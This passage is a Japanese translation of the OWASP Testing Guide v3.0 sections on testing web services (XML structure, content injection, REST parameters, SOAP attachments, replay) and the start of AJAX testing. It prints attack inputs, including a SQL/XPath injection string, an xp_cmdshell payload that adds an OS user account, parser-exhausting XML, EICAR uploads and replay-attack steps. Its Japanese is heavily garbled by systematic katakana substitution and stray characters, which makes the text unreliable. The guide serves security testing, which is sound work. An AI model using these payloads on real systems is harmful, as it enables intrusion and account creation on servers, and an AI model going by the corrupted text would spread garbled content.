POST http://localhost:80/WebGoat/services/SoapRequest HTTP/1.0<br />

Accept: application/soap+xml, application/dime, multipart/related, text/*<br />

Host: localhost:80<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: ""<br />

Content-length: 576<br />

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=<br />

<br />

<br />

<br />

<br />

101<br />

<br />

314


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

<br />

And the SOAP Response with the credit card number (987654321) is:<br />

HTTP/1.1 200 OK<br />

Server: Apache-Coyote/1.1<br />

Content-Type: text/xml;charset=utf-8<br />

Date: Wed, 28 Mar 2007 10:18:12 GMT<br />

Connection: close<br />

<br />

<br />

<br />

987654321<br />

<br />

<br />

WSDigger<br />

WSDigger は、ウェブコービシのスカャヨティテシトを 自 動 化 する、フヨーのエープヱセーシのツーラです。このツーラを 使 っ<br />

て、 私 たちは、 簡 単 なイヱソーフェーシを 通 して、ケードを 記 述 することなく、 検 索 キウヨーを 入 力 し、ウェブコービシを 動 的 に<br />

動 作 させ、 対 話 しながらウェブコービシをテシトすることができます。<br />

私 たちがウェブコービシと 対 話 するには、 悪 意 のあるデーソを WSDigger に 入 力 させて、「invoke」というペソヱをキヨッキする<br />

ことでウェブコービシ 方 式 を 動 作 させられるはずです。<br />

予 想 される 結 果 :<br />

通 常 の SOAP ミッスーザのやりとりでは 使 わわれない 操 作 や、 機 密 デーソへのアキスシを 提 供 する 操 作 が 考 えられますが、ウ<br />

315


ェブコービシ・アプヨクーサュヱがどこに、 操 作 を 行 うためのアキスシを 許 可 するかについて、テシト 者 は、 最 大 限 に 詳 細 を 盛<br />

り 込 むべきです。<br />

参 考 文 献<br />

技 術 解 説 書<br />

• W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp<br />

ヂール<br />

• <strong>OWASP</strong> WebScarab:ウェブサービス・プラグイン<br />

• Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm<br />

4.10.3 XML 構 造 テステ (<strong>OWASP</strong>-WS-003)<br />

概 要<br />

XML は、 適遚 切 に 機 能 するために、 十 分 に 検 討 されなければなりません。 十 分 に 検 討 されていない XML は、コーバ 側 で<br />

XML 構 文 解 析 ツーラが 構 文 解 析 する 際 に 失 敗 するでしょう。 構 文 解 析 ツーラは、XML が 十 分 に 検 討 されていることを 評 価<br />

するために、 完媍 全 な XML ミッスーザを 連連 続 性 のある 方 法 で 実 行 させる 必 要 があります。<br />

XML 構 文 解 析 ツーラは、CPU を 非 常 に 酷郾 使 するものでもあります。 攻 撃 の 方 向 性 が、とても 大 きい XML ミッスーザや 不 正<br />

な XML ミッスーザを 送 信 することにより、この 弱 点 へ 向 かう 場 合 もあります。<br />

テシト 者 は、 受 信 コーバでミムヨーや CPU の 資 源 を 機 能 不 全 に 陥 らせる、コービシ 拒 否 攻 撃 を 発 生 するように 構 成 された<br />

XML 文 書 を 作 ることができます。これは、XML 構 文 解 析 ツーラに 過遃 剰 な 負 荷 を 与 えること、ひいては、CPU を 非 常 に 酷郾 使 す<br />

ることで 発 生 します。<br />

論 点 解 説<br />

このスキサュヱでは、 不 正 なミッスーザまたは 悪 意 を 持 って 作 られたミッスーザをウェブコービシに 送 り、その 反 応 で 判 定 で<br />

きる、 攻 撃 方 法 の 種 類 について 議 論 します。<br />

例 えば、 多 くの 属 性 を 持 つ 要 素 は、 構 文 解 析 ツーラで 問 題 の 原 因 となることがあります。このォテゲヨの 攻 撃 では、 十 分 に<br />

検 証 されていない XML 文 書 ( 例 8 要 素 の 重 複 がある XML、 開 始妵 ソギはあるが 対 応 する 終 了 ソギのない XML'も 含 みます。<br />

DOM プーシの 構 文 解 析 は、(SAX の 構 文 解 析 とは 対 照 的 に' 完媍 全 なミッスーザがミムヨーに 読 み 込 まれる 事 象 により 発 生 す<br />

る、DoS に 対 する 脆 弱 性 が 存 在 する 場 合 があります。 例 えば、コイジが 過遃 剰 な 添 付 ファイラは、DOM の 構 造造 では 問 題 が 発<br />

生 します。<br />

ウェブサーパスの 弱 点 :ミッスーザの 構 文 や 内 容 の 妥妞 当 性 確 認 をする 前 に、SAX や DOM を 通 して XML を 構 文 解 析 しなけ<br />

ればなりません。<br />

316


<strong>OWASP</strong> Testing Guide v3.0<br />

例 :<br />

ブラチクボチクステステと 例<br />

不 正 な 構 造造 8XML ミッスーザは、 構 文 解 析 に 成 功 するように、 十 分 に 検 討 されなければなりません。 不 正 な SOAP ミッスーザ<br />

は、 次 のようなケードが 存 在 すると、 未 処 理 例 外 を 引 き 起 こすかもしれません。<br />

<br />

<br />

<strong>OWASP</strong><br />

EOIN<br />

I am Malformed <br />

<br />

Don’t forget me this weekend!<br />

<br />

例 2:<br />

次 のようなウェブコービシの 例 に、 話 は 戻 ります。<br />

http://www.example.com/ws/FindIP.asmx?WSDL<br />

私 たちは、 次 のようなウェブコービシの 分 析 結 果 を 入 手 できます。<br />

[Method] GetURLIP<br />

[Input] string EnterURL<br />

[Output] string<br />

標 準 的 な SOAP ヨキウシトは、 次 のようなものです。<br />

POST /ws/email/FindIP.asmx HTTP/1.0<br />

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: "http://example.com/webservices/GetURLIP"<br />

Content-Length: 329<br />

Expect: 100-continue<br />

Connection: Keep-Alive<br />

Host: www.example.com<br />

<br />

<br />

<br />

<br />

www.owasp.org<br />

<br />

<br />

<br />

SOAP のリシホヱシは、 次 のようになります。<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Mon, 26 Mar 2007 11:29:25 GMT<br />

MicrosoftOfficeWebServer: 5.0_Pub<br />

X-Powered-By: ASP.NET<br />

X-AspNet-Version: 1.1.4322<br />

Cache-Control: private, max-age=0<br />

Content-Type: text/xml; charset=utf-8<br />

Content-Length: 396<br />

<br />

317


<br />

<br />

www.owasp.com IP Address is: 216.48.3.18<br />

<br />

<br />

<br />

<br />

XML 構 造造 テシトの 例 は、 次 のようになります。<br />

POST /ws/email/FindIP.asmx HTTP/1.0<br />

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: "http://example.com/webservices/GetURLIP"<br />

Content-Length: 329<br />

Expect: 100-continue<br />

Connection: Keep-Alive<br />

Host: www.example.com<br />

<br />

<br />

<br />

<br />

www.example.com<br />

<br />

<br />

<br />

<br />

DOM プーシの 構 文 解 析 を 利 用 するウェブコービシは、XML ミッスーザにとても 大 きな 負 荷 デーソを 含 むことで 不 調 にする<br />

ことができます。 構 文 解 析 ツーラは、 以 下 のようなデーソでも 構 文 解 析 せざるを 得 ないのです。<br />

とても 大 きな 予 想 されていない 負 荷 データ:<br />

<br />

<br />

<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)…<br />

…<br />

<br />

<br />

<br />

0098666891726<br />

<br />

バアトリの 添 付 ファアル:<br />

ウェブコービシは、Blob(Binary Large OBject'のデーソ 型 や exe ファイラような、バイナヨの 添 付 ファイラも 持 つことができま<br />

す。ウェブコービシの 添 付 ファイラは base64 フェーボットでウヱケードされ、DIME(Direct Internet Message Encapsulation'<br />

は、 発 展 の 見 込 みのない 解 決 策 と 思 わわれる 傾 向 にあります。<br />

318


<strong>OWASP</strong> Testing Guide v3.0<br />

ミッスーザに 非 常 に 大 きな base64 文 字 列 を 添 付 することで、テシト 者 は、 可 用 性 に 影 響 するように 構 文 解 析 ツーラの 資 源<br />

を 消 費 することが 可 能 です。さらなる 攻 撃 では、base64 バイナヨシトヨーマに 影 響 を 与 えるバイナヨファイラを 挿 入 することも<br />

可 能 です。このような 添 付 ファイラの 不 十 分 な 構 文 解 析 で、 資 源 を 無 駄 遣違 いさせることが 可 能 になります。<br />

予 想 を 超 える 大 きな BLOB データ:<br />

<br />

<br />

<br />

jgiGldkooJSSKFM%()LFM$MFKF)$KRFWF$FRFkflfkfkkorepoLPKOMkjiujhy:llki-123-01ke123-<br />

04QWS03994k£R$Trfe£elfdk4r-<br />

45kgk3lg"£!04040lf;lfFCVr$V$BB^^N&*


Enumeration: 受 け 入 れる 値 の 一 覧 を 定 義 してください<br />

fractionDigits: 許 可 する 小 数 点 以 下 の 最 大 桁 数 を 指 定 してください。0 以 上 でなければなりません<br />

length: 許 可 する 文 字 やヨシト 項 目 の 正 確 な 数 字 を 指 定 してください。0 以 上 でなければなりません<br />

maxExclusive: 数 値 の 上 限 を 指 定 してください。( 値 は、この 数 値 より 下 でなければなりません'<br />

maxInclusive: 数 値 の 上 限 を 指 定 してください。( 値 は、この 数 値 以 下 でなければなりません'<br />

maxLength: 許 可 する 文 字 やヨシト 項 目 の 最 大 数 を 指 定 してください。0 以 上 でなければなりません<br />

minExclusive: 数 値 の 下 限 を 指 定 してください。( 値 は、この 数 値 より 上 でなければなりません'<br />

minInclusive: 数 値 の 下 限 を 指 定 してください。( 値 は、この 数 値 以 上 でなければなりません'<br />

minLength: 許 可 する 文 字 やヨシト 項 目 の 最 小 数 を 指 定 してください。0 以 上 でなければなりません<br />

pattern: 受 け 入 れる 文 字 の 正 確 な 並 びを 定 義 してください<br />

totalDigits: 許 可 する 正 確 な 桁 数 を 指 定 してください。0 より 上 でなければなりません<br />

whiteSpace: 空 白 ( 改 行 LF、ソブ、シヘーシ、 復 帰 改 行 文 字 CR'をどのように 扱 うかを 指 定 してください<br />

参 考 文 献<br />

技 術 解 説 書<br />

• W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp<br />

ヂール<br />

• <strong>OWASP</strong> WebScarab: ウェブサービス・プラグイン<br />

4.10.4 XML ケンヱテンヱヂ・レベルテステ (<strong>OWASP</strong>-WS-004)<br />

概 要<br />

ケヱテヱツ・リプラの 攻 撃 は、ウェブコーバ、デーソプーシ、アプヨクーサュヱコーバ、エヘリーサュヱサシテマなどのコービ<br />

シが 使 用 するアプヨクーサュヱ、および、ウェブコービシを、ベシティヱギしているコーバを 狙犁 います。ケヱテヱツ・リプラの 攻<br />

撃 の 方 法 は、(1'SQL イヱザェキサュヱや XPath イヱザェキサュヱ、(2'バッファ・エーバーフルー、(3'ケボヱド・イヱザェキサュ<br />

ヱがあります。<br />

320


<strong>OWASP</strong> Testing Guide v3.0<br />

論 点 解 説<br />

ウェブコービシは、 一 般 的 な 通 信 プルトケラを 使 ってキョイアヱトへコービシを 提 供 し、 公 で 利 用 できるものとして 設 計 されま<br />

す。これらコービシは、HTTP を 使 った SOAP を 通 してその 機 能 を 外 部邪 に 提 供 することで、 従 来 の 資 産 を 活 用 可 能 です。<br />

SOAP のミッスーザは、テカシトデーソやバイナヨの 添 付 ファイラをパョミーソとして、パョミーソを 持 つミセッド 呼 び 出 しを 含<br />

んでおり、ベシトにヨキウシトを 送 って、デーソプーシ 操 作 、 画 像 処 理 、 文 書 管 理 など、 何 らかの 機 能 を 実 行 します。コービシ<br />

により 外 部邪 に 提 供 された 従 来 のアプヨクーサュヱには、 以 前 は、 非 公 開 のネットワローキに 限 定 されているときは 問 題 ではなか<br />

ったものでも、 悪 意 のある 入 力 に 対 して 脆 弱 であるかもしれません。さらに、ウェブコービシを 提 供 しているコーバは、この<br />

悪 意 のあるデーソを 処 理 する 義 務 を 負 っているので、もしパッタを 当 てず、そうでなければ、 悪 意 あるケヱテヱツ( 例 えば、<br />

平 文 のパシワロードや 無 制 限 のファイラアキスシなど'から 守 ることをしなければ、ベシトコーバは 脆 弱 であるかもしれません。<br />

攻 撃 者 は、 対 象 サシテマのスカャヨティを 侵 害 するために、 悪 意 ある 要 素 を 含 んだ XML 文 書 (SOAP ミッスーザ'を 作 成 する<br />

ことができます。ケヱテヱツの 妥妞 当 性 確 認 が 適遚 切 であることを 確 認 するテシトは、ウェブアプヨクーサュヱテシト 計 画 の 中 に 盛<br />

り 込 まれるべきです。<br />

ブラチクボチクステステと 例<br />

SQL アンヱジェクシュンヱ、または、XPath アンヱジェクシュンヱ 脆 弱 性 に 対 するテステ<br />

1.ウェブコービシに 対 し、WSDL をテシトしてください。 多 くのウェブアプヨクーサュヱテシト 機 能 に 適遚 用 できる、<strong>OWASP</strong> ツーラ<br />

の WebScarab には、ウェブコービシの 機 能 を 実 行 するウェブコービシ・プョギイヱがあります。<br />

2.WebScarab では、パョミーソに 対 する WSDL 定 義 に 基 づいて、パョミーソデーソを 更 新 してください。<br />

テシト 者 は、サヱギラ・キェート(’'を 使 って、SQL や XPath が 実 行 されると 真 を 返 す 条 件 節 「1=1」を 挿 入 することができます。<br />

もし、この 条 件 節 の 実 行 によりルギイヱされ、 値 が 妥妞 当 性 テシトされないならば、ルギイヱは「1=1」により 成 功 するでしょう。<br />

その 操 作 のための 値 は、 次 のようになります。<br />

myuser ' OR 1=1<br />

SQL に 変 換 すると、 次 のようになります。<br />

WHERE userid = 'myuser' and password = OR 1=1 and in XPath as: //user[userid='myuser' and<br />

password= OR 1=1]<br />

321


予 想 される 結 果 :<br />

テシト 者 は、もし 認 証 が 通 れば、より 上 級 の 権 限 でウェブコービシを 利 用 し 続 け、デーソプーシでケボヱドを 実 行 することが<br />

できます。<br />

バチファ・オーバーフロー 脆 弱 性 に 対 するテステ<br />

テステ:<br />

ウェブコービシを 通 して、 脆 弱 なウェブコーバで 任 意 のケードを 実 行 することが 可 能 です。 特牐 別 に 造造 られた HTTP ヨキウシト<br />

を 脆 弱 なアプヨクーサュヱへ 送 ると、エーバーフルーの 原 因 となり、 攻 撃 者 にケードを 実 行 することを 許 可 してしまいます。<br />

MetaSploits のようなテシトツーラを 使 うか、あるいは、あなた 自 身 でケードを 開 発 することにより、 再 利 用 可 能 な 弱 点 を 突 く<br />

テシトを 作 成 することができます。「MailEnable Authorization Header Buffer Overflow」は、 存 在 しているウェブコービシ・バッ<br />

ファ・エーバーフルーの 弱 点 を 突 いた 例 で、その 弱 点 は、「mailenable_auth_header」と 同 じように、MetaSploits から 利 用 で<br />

きます。 脆 弱 性 は、エープヱセーシの 脆 弱 性 デーソプーシにて 一 覧 表 にされます。<br />

予 想 される 結 果 :<br />

悪 意 あるケードをイヱシトーラするために、 任 意 のケードが 実 行 されることです。<br />

ギレーボチクステステと 例<br />

1.SQL の 構 成 、HTML ソギなどで、 無 効 な 内 容 に 関 してパョミーソをテシトしますか?=<strong>OWASP</strong> XSS guide<br />

(http://www.owasp.org/index.php/XSS'や、PHP にある「htmlspecialchars()」のような 特牐 定 のプルギョポヱギ 言 語 に 実 装 され<br />

ている 機 能 を 活 用 してください。ヤーゴの 入 力 を 信 頼 してはいけません。<br />

2.バッファ・エーバーフルーを 軽 減 するために、アップデート・パッタやスカャヨティ(アヱタウイラシ、ボラウェアなど'に 関 し<br />

て、ウェブコーバ、アプヨクーサュヱコーバ、デーソプーシコーバを 確 認 してください。<br />

参 考 文 献<br />

技 術 解 説 書<br />

<br />

<br />

NIST Draft publications (SP800-95): "Guide to Secure Web Services" ( 安 全 なウェブサービスへのガイド)-<br />

http://csrc.nist.gov/publications/drafts/Draft-SP800-95.pdf<br />

OSVDB - http://www.osvdb.org<br />

ヂール<br />

<br />

<br />

<strong>OWASP</strong> WebScarab: ウェブサービス・プラグイン - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project<br />

MetaSploit - http://www.metasploit.com<br />

4.10.5 HTTP GET パラミータ/REST テステ (<strong>OWASP</strong>-WS-005)<br />

概 要<br />

多 くの XML アプヨクーサュヱでは、HTTP GET キウヨーを 使 用 するパョミーソが、XML アプヨクーサュヱに 渡 されることで 実 行<br />

されます。「REST-style」(REST =; Representational State Transfer'ウェブコービシとして 知 られているものもあります。 悪 意 の<br />

あるケヱテヱツが HTTP GET 文 字 列 として 渡 されることで、これらのウェブコービシは 攻 撃 されてしまいます。( 例 えば、 悪 意<br />

322


<strong>OWASP</strong> Testing Guide v3.0<br />

のあるケヱテヱツには、2048 文 字 のような 過遃 剰 に 長 いパョミーソや、SQL 文 、SQL イヱザェキサュヱ、OS イヱザェキサュヱのパ<br />

ョミーソがあります。'<br />

論 点 解 説<br />

ウェブコービシ REST が、 事 実 上 、HTTP-In -> WS-OUT の 攻 撃 パソーヱにあてはまるならば、オイドのあちらこちらで 論 じてい<br />

るように、 一 般 的 な HTTP 攻 撃 の 方 法 に 非 常 に 類 似 しているものとなります。 例 えば、「/viewDetail=detail-10293」というキ<br />

ウヨー 文 字 列 を 含 んだ、 次 のような HTTP ヨキウシトの 中 では、HTTP GET パョミーソは「detail- 10293」となります。<br />

ブラチクボチクステステと 例<br />

仮 に、 次 のような HTTP GET のキウヨー 文 字 列 を 受 け 取 るウェブコービシがあるとします。<br />

https://www.ws.com/accountinfo?accountnumber=12039475&userId=asi9485jfuhe92<br />

その 結 果 、リシホヱシは 次 とよく 似 たものとなります。<br />

<br />

<br />

€100<br />

Bank of Bannana account info<br />

<br />

この REST ウェブコービシにおけるデーソの 妥妞 当 性 確 認 のテシトは、 一 般 的 なアプヨクーサュヱのテシトと 似 ています。<br />

次 のような 方 法 を 試 してみてください。<br />

https://www.ws.com/accountinfo?accountnumber=12039475' exec master..xp_cmdshell 'net user Vxr<br />

pass /Add &userId=asi9485jfuhe92<br />

ギレーボチクステステと 例<br />

HTTP ヨキウシトを 受 け 取 る 上 で、ケードは 次 のようにすべきです。<br />

確 認 してください。<br />

1. 最 大 長 さと 最 小 長 さ<br />

2. 負 荷 デーソの 妥妞 当 性 確 認 を 行 ってください<br />

3. 可 能 であれば、 次 に 挙 げるデーソの 妥妞 当 性 確 認 戦 略 を 実 装 してください<br />

<br />

「exact match」( 完媍 全 一 致 '…… 予 定 した 値 に 完媍 全 に 一 致 した 値 のみを 受 け 入 れます<br />

例 8「A」「B」「C」の 値 のみを 予 定 していたら、その 値 のみを 受 け 入 れます<br />

<br />

「known good」…… 完媍 全 一 致 ほどではないが、 受 け 入 れてよい 値 を 受 け 入 れます<br />

例 8[0-9a-zA-Z]の 値 の 範 囲 にある 場 合 は、 受 け 入 れます<br />

323


「known bad」…… 受 け 入 れてはいけない 値 は 拒 絶 します<br />

4. パョミーョの 名 称 および 存 在 の 妥妞 当 性 確 認 を 行 ってください<br />

参 考 文 献<br />

技 術 解 説 書<br />

The <strong>OWASP</strong> Fuzz vectors list - http://www.owasp.org/index.php/<strong>OWASP</strong>_Testing_Guide_Appendix_C:_Fuzz_Vectors<br />

4.10.6 いたずらな SOAP 添 付 ファアル (<strong>OWASP</strong>-WS-006)<br />

概 要<br />

このスキサュヱは、 添 付 ファイラを 受 け 取 るウェブコービシに 対 する 攻 撃 方 法 について 説 明 します。 添 付 ファイラを 処 理 する<br />

過遃 程 やキョイアヱトにファイラを 再 配郤 布 する 過遃 程 において、 危 険 な 問 題 が 存 在 します。<br />

論 点 解 説<br />

ボラウェアを 含 む 可 能 性 もある 実 行 形 式 あるいはドカャミヱト 形 式 などのバイナヨファイラは、 様 々な 方 法 でウェブコービシ<br />

を 使 って 送 信 されます。これらのファイラは、ウェブコービシのミセッドのパョミーソとして 送 信 されることがあります。あるいは、<br />

添 付 ファイラ 付 きの SOAP においては 添 付 ファイラとして、あるいは、DIME(Direct Internet Message Encapsulation'や WS<br />

の 添 付 ファイラとして 送 信 されることもあります。<br />

攻 撃 者 は、ボラウェアを 添 付 ファイラとして 含 み、ウェブコービシへ 送 る XML 文 書 (SOAP ミッスーザ'を 作 ることができます。<br />

ウェブコービシのベシトの 安 全 を 確 認 するテシトでは、SOAP の 添 付 ファイラの 調 査 がウェブアプヨアプヨクーサュヱのテシト<br />

計 画 に 含 まれるべきです。<br />

ブラチクボチクステステと 例<br />

パラミータ 脆 弱 性 としてのファアルに 対 するテステ<br />

テステ:<br />

1. 添 付 ファイラを 受 け 取 る WSDL を 見 つけます。<br />

例 えば、 次 のようなものです。<br />

... <br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

324


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

<br />

<br />

<br />

...<br />

2. EICAR のような 非 破 壊 的 ウイラシを 使 って、テシトウイラシファイラを 添 付 し、SOAP ミッスーザを 対 象 のウェブコービシへ<br />

送 信 します。この 例 では、EICAR を 使 用 します。<br />

EICAR 添 付 ファイラ(Base64 変 換 済 み' 付 きの Soap ミッスーザは、 次 のようになります。<br />

POST /Service/Service.asmx HTTP/1.1<br />

Host: somehost<br />

Content-Type: text/xml; charset=utf-8<br />

Content-Length: length<br />

SOAPAction: http://somehost/service/UploadFile<br />

<br />

<br />

<br />

<br />

eicar.pdf<br />

pdf<br />

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br />

true<br />

<br />

<br />

<br />

予 想 される 結 果 :<br />

「UploadFileResult」パョミーソを 含 む SOAP のリシホヱシが、 真 に 設 定 されます(このことは、コービシによって 異 なることでし<br />

ょう'。テシト 用 ウイラシファイラ eicar は、ベシトコーバに 置 かれることを 許 可 され、そして、PDF として 再 配郤 布 されることも 可<br />

能 です。<br />

添 付 ファアル 脆 弱 性 のある SOAP に 対 するテステ<br />

テシトはよく 似 ていますが、しかしながら、ヨキウシトは 次 と 類 似 したものとなります(EICAR base64 の 情 報 に 留 意 してください'。<br />

POST /insuranceClaims HTTP/1.1<br />

Host: www.risky-stuff.com<br />

Content-Type: Multipart/Related; boundary=MIME_boundary; type=text/xml;<br />

start=""<br />

Content-Length: XXXX<br />

SOAPAction: http://schemas.risky-stuff.com/Auto-Claim<br />

Content-Description: This is the optional message description.<br />

--MIME_boundary<br />

Content-Type: text/xml; charset=UTF-8<br />

Content-Transfer-Encoding: 8bit<br />

Content-ID: <br />

<br />

<br />

<br />

<br />

<br />

325


<br />

<br />

<br />

<br />

--MIME_boundary<br />

Content-Type: image/tiff<br />

Content-Transfer-Encoding: base64<br />

Content-ID: <br />

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br />

--MIME_boundary<br />

Content-Type: image/jpeg<br />

Content-Transfer-Encoding: binary<br />

Content-ID: <br />

...Raw JPEG image..<br />

--MIME_boundary--<br />

予 想 される 結 果 :<br />

eicar テシト 用 ウイラシファイラは、ベシトコーバに 置 かれるのは 許 可 されます。このファイラは、 TIFF ファイラとして 再 配郤 布 さ<br />

れることがあります。<br />

参 考 文 献<br />

技 術 解 説 書<br />

Xml.com - http://www.xml.com/pub/a/2003/02/26/binaryxml.html<br />

W3C: "Soap with Attachments" - http://www.w3.org/TR/SOAP-attachments<br />

ヂール<br />

<br />

<br />

EICAR (http://www.eicar.org/anti_virus_test_file.htm)<br />

<strong>OWASP</strong> WebScarab (http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project)<br />

4.10.7 リプレアテステ (<strong>OWASP</strong>-WS-007)<br />

概 要<br />

このスキサュヱは、ウェブコービシのヨプリイ 脆 弱 性 をテシトすることについて 説 明 します。ヨプリイ 攻 撃 の 脅 威姕 は、 攻 撃 者 が<br />

正 当 なヤーゴと 認 定 された 状牮 態 でなりすますことができ、 不 正 行 為 を 検 知 されずに 犯物 すことが 可 能 であることです。<br />

論 点 解 説<br />

ヨプリイ 攻 撃 は、「man-in-the-middle」 攻 撃 ( 中 間 者 攻 撃 'に 分 類 され、 本 来 の 送 信 者 になりすました 攻 撃 者 により、ミッスー<br />

ザは 傍 受 され 再 送 信 されます。ウェブコービシに 対 して、HTTP 以 外 の 通 信 と 同 様 に、Ethereal や Wireshark のようなシニフ<br />

ァーは、ウェブコービシに 送 信 された 通 信 を 捕 捉 することができます。また、WebScarab のようなツーラを 使 って、テシト 者 は<br />

対 象 のコーバにパクットを 再 送 信 できます。 攻 撃 者 は、 本 来 のミッスーザの 再 送 信 を 試 し、あるいは、ミッスーザの 変 更 を<br />

試 して、ベシトコーバのスカャヨティを 侵 害 することができます。<br />

326


<strong>OWASP</strong> Testing Guide v3.0<br />

ブラチクボチクステステと 例<br />

リプレア 攻 撃 脆 弱 性 に 対 するテステ<br />

テステ:<br />

1. ネットワローキに 対 し Wireshark を 使 って、 通 信 を 傍 受 し、ウェブコービシの 通 信 をフィラソしてください。 他 の 方 法 としては、<br />

WebScarab をイヱシトーラして、http 通 信 を 捕 捉 するためのプルカサとして 使 用 します。<br />

2. ethereal(あるいは、Wireshark'で 捕 捉 したパクットを 利 用 して、パクットを 再 送 信 する TCPReplay の 機 能 により、ヨプリイ<br />

攻 撃 を 開 始妵 します。ヨプリイ 攻 撃 のための 有 効 なスッサュヱ ID を 推 定 し、スッサュヱ ID のパソーヱを 確 定 するために、 時 間<br />

をかけて 多 くのパクットを 捕 捉 することが 必 要 かもしれません。また、WebScarab を 使 った 場 合 は、WebScarab で 捕 捉 した<br />

http 通 信 を 手 動 で 送 信 することが 可 能 です。<br />

予 想 される 結 果 :<br />

テシト 者 は、ある 程 度 、 攻 撃 者 を 特牐 定 できます。<br />

327


ギレーボチクステステと 例<br />

リプレア 攻 撃 の 脆 弱 性 に 対 するテステ<br />

1. ウェブコービシに、ヨプリイ 攻 撃 を 防 ぐ 手 段 を 採 用 してはどうでしょうか?= 擬 似 的 なョヱゾマなスッサュヱ・トーキヱのような、<br />

MAC アドリシやソイマシソヱプを 使 ったワロヱソイマパシワロードという 方 法 あります。ここに、スッサュヱ・トーキヱをョヱゾマ 化 す<br />

る 試 行 例 があります。(MSDN Wicked Code を 参 考 にしてください -<br />

http://msdn.microsoft.com/msdnmag/issues/04/08/WickedCode/default.aspx?loc=&fig=true#fig1'<br />

string id = GetSessionIDMac().Substring (0, 24);<br />

...<br />

private string GetSessionIDMac (string id, string ip,<br />

string agent, string key)<br />

{<br />

StringBuilder builder = new StringBuilder (id, 512);<br />

builder.Append (ip.Substring (0, ip.IndexOf ('.',<br />

ip.IndexOf ('.') + 1)));<br />

builder.Append (agent);<br />

using (HMACSHA1 hmac = new HMACSHA1<br />

(Encoding.UTF8.GetBytes (key))) {<br />

return Convert.ToBase64String (hmac.ComputeHash<br />

(Encoding.UTF8.GetBytes (builder.ToString ())));<br />

}<br />

}<br />

2. コイトに SSL を 採 用 してはどうでしょうか?=この SSL は、ミッスーザの 再 送 信 を 試 みるにあたり、 認 証 されていないという 状牮<br />

況 を 防 ぐでしょう。<br />

参 考 文 献<br />

技 術 解 説 書<br />

W3C: "Web Services Architecture" - http://www.w3.org/TR/ws-arch/<br />

ヂール<br />

<br />

<br />

<br />

<br />

<strong>OWASP</strong> WebScarab - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_WebScarab_Project<br />

Ethereal - http://www.ethereal.com/<br />

Wireshark - http://www.wireshark.org/(Ethereal の 代 わりに 推 奨 します。Etherreal と 同 じ 開 発 者 、 同 じコードベースで<br />

作 られています。)<br />

TCPReplay - http://tcpreplay.synfin.net/trac/wiki/manual<br />

4.11 AJAX のテステ<br />

「Asynchronous JavaScript and XML( 非 同 期 JavaScript および XML'」の 頭 字 語 である AJAX は、 応 答 性 のよいウェブアプヨ<br />

クーサュヱを 作 るために 利 用 されるウェブ 開 発 技 術 です。AJAX は、デシキトップのアプヨクーサュヱにより 近 い 体 感 を 提 供 す<br />

るために、 技 術 を 組 み 合 わわせて 使 用 します。これを 実 現 するためには、XMLHttpRequest エブザェキトと JavaScript が 非 同 期<br />

のヨキウシトをウェブコーバに 送 り、リシホヱシを 構 文 解 析 してヘーザの DOM HTML と CSS を 更 新 します。<br />

ウェブアプヨクーサュヱの 使 いやすさは、AJAX の 技 術 を 利 用 することにより、すばらしく 恩 恵 を 受 けます。しかしながら、スカ<br />

ャヨティの 見 地 からは、AJAX のアプヨクーサュヱは、 通 常 のウェブアプヨクーサュヱよりも 大 きな 攻 撃 を 受 ける 窓 口 になってし<br />

まいます。そして、AJAX のアプヨクーサュヱでは、 何 がなされるべきか(should'ということよりも 何 ができるか(can'ということに<br />

328


<strong>OWASP</strong> Testing Guide v3.0<br />

焦 点 をあてて 開 発 されてしまうことがよく 起 こります。また、AJAX のアプヨクーサュヱは、キョイアヱト 側 とコーバ 側 の 両 方 で 処<br />

理 が 行 わわれるために、 複 雑 さが 増 しています。この 複 雑 さを 隠 すフリーマワローキを 利 用 することで、 開 発 における 頭 痛 の 種<br />

を 軽 減 することが 可 能 ですが、 自 分 たちの 書 いているケードがどこで 実 行 されるかいうことを、 開 発 者 が 十 分 に 理 解 していな<br />

いという 事 態 に 陥 ることもあります。このことは、 特牐 定 のアプヨクーサュヱや 機 能 に 関 連連 したヨシキを、 適遚 切 に 評 価 することが 難<br />

しい 状牮 況 にすることもあるでしょう。<br />

AJAX アプヨクーサュヱは、 従 来 のウェブアプヨクーサュヱの 脆 弱 性 の 範 囲 を 完媍 全 に 含 みます。 安 全 でないケーディヱギの 実<br />

施 は、SQL イヱザェキサュヱの 脆 弱 性 を 誘 引 するでしょう。ヤーゴの 入 力 に 見 当 遊 いの 信 頼 性 を 与 えると、パョミーソを 不 正<br />

利 用 する 脆 弱 性 を 誘 引 するでしょう。 適遚 切 な 認 証 と 許 可 が 失 敗 すれば、 機 密 性 と 完媍 全 性 に 問 題 を 引 き 起 こすでしょう。 加 え<br />

て、AJAX アプヨクーサュヱは、キルシ・コイト・ヨキウシト・フェーザェヨ(XSRF'のような、 新 しい 種 類 の 攻 撃 を 引 き 起 こす 脆 弱 な<br />

ものとなるでしょう。<br />

AJAX アプヨクーサュヱのテシトでは、キョイアヱトとコーバとの 間 の 通 信 をどうするかについて、 開 発 者 にかなり 大 幅 な 自 由<br />

